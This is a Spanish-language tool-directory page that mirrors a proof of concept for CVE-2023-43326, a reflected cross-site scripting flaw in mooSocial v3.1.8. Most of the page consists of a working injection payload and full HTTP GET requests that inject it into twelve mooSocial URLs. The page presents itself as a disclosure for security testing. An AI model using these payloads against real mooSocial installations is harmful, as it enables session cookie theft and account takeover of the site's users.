Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-43326 — mooSocial v3.1.8 es vulnerable a cross-site scripting en múltiples URLs. | Kitploit
Herramientas/GitHubGitHub/ahrixia/cve-2023-43326
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubahrixia/cve-2023-43326

CVE-2023-43326

mooSocial v3.1.8 es vulnerable a cross-site scripting en múltiples URLs.

Ver Repositorio
1hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

mooSocial: XSS (CVE-2023-43326)

Existe una vulnerabilidad de cross-site scripting (XSS) reflejado en múltiples URL de mooSocial v3.1.8 que permite a los atacantes robar las cookies de sesión de los usuarios y suplantar su cuenta a través de una URL manipulada.

Nota: XSS también funciona cuando estas URL se utilizan en la cabecera Referer. A continuación hay algunos ejemplos; puede haber más URL como las siguientes que también son vulnerables.

Explotación - Prueba de Concepto (POC)

Cross-site scripting (XSS) reflejado

root@kitploit:~
Payload : ahrixia">ahrixia 
Payload (Url encoded): ahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia

image

GET Request on /moosocial/users/change_email :

root@kitploit:~
GET /moosocial/users/change_emailahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia?step1=1 HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/moosocial/users/change_email
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Connection: close

GET Request on /moosocial/users/recovery :

root@kitploit:~
GET /moosocial/users/recoveryahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia?data%5Bemail%5D=566782 HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/users/recover
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

GET Request on /moosocial/users/profile :

root@kitploit:~
GET /moosocial/users/profileahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/moosocial/-aazllyyo5wvv
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Connection: close

GET Request on /moosocial/users/do_logout :

root@kitploit:~
GET /moosocial/users/do_logoutahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 0

GET Request on /moosocial/topics/create :

root@kitploit:~
GET /moosocial/topics/createahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/topics
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

GET Request on /moosocial/search/index :

root@kitploit:~
GET /moosocial/search/indexahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia/?q=as HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/moosocial/user_info/index/messages
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

GET Request on /moosocial/groups/create :

root@kitploit:~
GET /moosocial/groups/createahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/groups
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

GET Request on /moosocial/events/create :

root@kitploit:~
GET /moosocial/events/createahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/events
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

GET Request on /moosocial/cron/task/run :

root@kitploit:~
GET /moosocial/cron/task/runbahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia?key=3FSE@ HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Content-Length: 0

GET Request on /moosocial/blogs/create :

root@kitploit:~
GET /moosocial/blogs/createahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/blogs
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

GET Request on /moosocial/activities/post-feed :

root@kitploit:~
GET /moosocial/activities/post-feedahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cache-Control: max-age=0
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Upgrade-Insecure-Requests: 1
Referer: http://localhost/moosocial/
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0

GET Request on /moosocial/activities/ajax_share :

root@kitploit:~
GET /moosocial/activities/ajax_shareahrixia%22%3e%3cimg%20src%3da%20onerror%3dalert(1)%3eahrixia HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Connection: close
Cookie: CAKEPHP=dfkstl2jc39i6prjb9m9rvb275
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="117", "Chromium";v="117"
Sec-CH-UA-Platform: Windows
Sec-CH-UA-Mobile: ?0
Descargar herramienta